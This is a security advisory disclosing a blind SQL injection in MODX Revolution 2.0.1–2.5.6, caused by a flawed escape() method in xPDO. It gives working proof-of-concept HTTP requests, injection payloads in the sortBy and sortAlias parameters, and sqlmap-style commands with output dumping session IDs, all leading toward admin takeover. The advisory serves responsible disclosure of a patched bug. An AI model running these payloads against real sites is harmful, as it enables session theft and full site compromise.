MODX Revolution 2.5.6 SQL Injection

Credit: Anti RA$?is
Risk: Medium
Local: No
Remote: Yes

MODX Revolution 2.0.1-pl - 2.5.6-pl blind SQLi ############################################## Information =========== Name: MODX Revolution 2.0.1 - 2.5.6 (based on git commit) Software: MODX CMS Homepage: Vulnerability: blind SQL injection Prerequisites: attacker needs to be authenticated and with correct permissions Severity: high CVE: NA Credit: Anti RA$?is HTML version: Description =========== A SQL injection vulnerability was discovered in the xPDO library used by MODX Revolution 2.5.6. The "resource/getNodes" and "system/contenttype/ getlist" actions are vulnerable and allow an authenticated attacker to read data from database. Proof of Concept ================ 1) Action: "resource/getNodes" ------------------------------ Following request demonstrates the vulnerability. We can use different criteria for "limit" and the generated response is limited accordingly, proving that the vulnerability exists. URL: ================[ src start ]================ POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1 Host: modAuth: modx58dd6b78abecd0.81702322_158e1eb90b8b9e0.82418629 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 90 Cookie: PHPSESSID=cj4hefna5no0hj0a0na84ir4t4 Connection: close sortBy=menuindex` limit 1 # ================[ src end ]================== The HTTP request above executes the `getResourceQuery()` method in `modResourceGetNodesProcessor` class. ================[ src start ]================ <?php public function getResourceQuery() { // ... source redacted $this->itemClass= 'modResource'; $c= $this->modx->newQuery($this->itemClass); // ... source redacted $c->groupby($this->modx->getSelectColumns('modResource', 'modResource', '', $resourceColumns), ''); $sortBy = $this->modx->escape($this->getProperty('sortBy')); $c->sortby('modResource.' . $sortBy,$this->getProperty('sortDir')); return $c; } ================[ src end ]================== The `sortBy` parameter is passed to the `escape()` method, which resides in `xPDO` class. ================[ src start ]================ <?php public function escape($string) { $string = trim($string, $this->_escapeCharOpen . $this->_escapeCharClose); return $this->_escapeCharOpen . $string . $this->_escapeCharClose; } ================[ src end ]================== The parameter `$string` is used as an argument to `trim()` function, which removes `_escapeCharOpen` and `_escapeCharClose` characters from the beginning and end of the string. In this case, the escape characters are both backticks (U+0060). The resulting string is then padded with escape characters which effectively removes multiple occurrences of escape characters from the beginning and end of the string, but does not escape the escape characters itself. The result is then concatenated to create the SQL query in `getResourceQuery()` method. Following SQL is sent to the database engine: ================[ src start ]================ SELECT `modResource`.`id`, /* redacted for brevity */, COUNT( AS childrenCount FROM `modx_site_content` AS `modResource` LEFT JOIN `modx_site_content` `Child` ON = Child.parent WHERE ( ( `modResource`.`context_key` = ? AND `modResource`.`show_in_tree` = ? ) AND `modResource`.`parent` = ? ) GROUP BY `modResource`.`id`, /* redacted for brevity */, `modResource`.`context_key` ORDER BY modResource.`menuindex` limit 1 #` ASC ================[ src end ]================== 2) Action: "system/contenttype/getlist" --------------------------------------- Similarly to previous vulnerability, the following issue ends up using the same vulnerable `escape()` method and allows to use blind SQL injection to query the database. Following parameter `sortAlias` can be used to inject SQL. ================[ src start ]================ POST /connectors/index.php HTTP/1.1 Host: modAuth: modx58dd6b78abecd0.81702322_158e1f669c75121.62443671 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: Content-Length: 81 Cookie: PHPSESSID=mq0kub9tiu3dv7l00ec472n9v6 Connection: close id=1&action=system%2Fcontenttype%2Fgetlist&sortAlias=modContentType_id` limit 1 # ================[ src end ]================== Example attack scenario ======================= A can be used with following parameters: ================[ src start ]================ $ ./ --version $ ./ -r request.txt -p sortBy --level 5 --risk 3 --technique=B -b ================[ src end ]================== The request file `request.txt` is the following (update modAuth header and PHPSESSID cookie for valid ones): ================[ src start ]================ POST /connectors/index.php?action=resource/getNodes&id=web HTTP/1.1 Host: Content-Length: 168 modAuth: modx58dd6b78abecd0.81702322_158e295393a1643.87130735 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Cookie: PHPSESSID=bhhu2cv7f1fbrr5dhig4afkrt5 Connection: close sortBy=menuindex` ================[ src end ]================== To dump session data, use: ================[ src start ]================ $ ./ -r request.txt -p sortBy --level 5 --risk 3 --technique=B -D \ modx -T modx_session -C id --dump Database: modx Table: modx_session [5 entries] +----------------------------+ | id | +----------------------------+ | 2gpsqqdl030acmmj393vp79lu6 | | 9uufrqkomi38nhpgpiq20m4rm4 | | anbnkhvrsgh42447tgpelc32v0 | | bhhu2cv7f1fbrr5dhig4afkrt5 | | mq0kub9tiu3dv7l00ec472n9v6 | +----------------------------+ ================[ src end ]================== Impact ====== The `modx_sessions` table holds active sessions and attacker can use blind SQL injection to query users' sessions in the database. This could possibly lead to admin account takeover or at least enable to access other accounts. In case the attacker manages to get active session for admin account, then he can execute PHP code (plugin install, file upload etc) and take control over the application. Alternatively the attacker can access other user's account and possibly use their access rights to compromise the site further. Conclusion ========== Authenticated attacker can use blind SQL injection to get access to administrator account, which allows to execute PHP code, leading to full site compromise. Following release has been published mitigating this issue: Timeline ======== * 01.04.2017 | me > developer | vulnerability discovered * 03.04.2017 | me > developer | sent the report to the developers * 03.04.2017 | developer > me | asked for PoC of reading user's session from database * 05.04.2017 | developer > me | vulnerability patched * 21.04.2017 | developer > public | new version released * 01.05.2017 | me > public | full disclosure --- Anti RA$?is Blog: Pentester at

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